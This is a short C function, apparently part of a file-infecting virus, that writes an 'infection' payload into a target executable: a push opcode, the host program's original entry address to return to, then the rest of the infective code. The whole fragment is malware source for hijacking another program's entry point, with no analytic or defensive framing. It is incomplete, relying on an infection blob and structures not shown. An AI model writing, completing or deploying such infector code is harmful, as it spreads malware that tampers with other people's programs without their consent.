unsigned target_write_infection(Target* t)
{
  enum { ADDR_SIZE = sizeof(((Target*)0)->original_entry) }; 
  enum { REST_OFS = ENTRY_POINT_OFS + ADDR_SIZE };

  TRACE(stderr, "target_write_infection ENTRY_POINT_OFS=%d\n",
    ENTRY_POINT_OFS);

  /* i386: first byte is the opcode for "push" */
  write(t->fd_dst, infection, ENTRY_POINT_OFS);

  /* i386: next four bytes is the address to "ret" to */
  write(t->fd_dst, &t->original_entry, sizeof(t->original_entry));

  /* rest of infective code */
  write(t->fd_dst, infection + REST_OFS, sizeof(infection) - REST_OFS);

  return sizeof(infection);
}
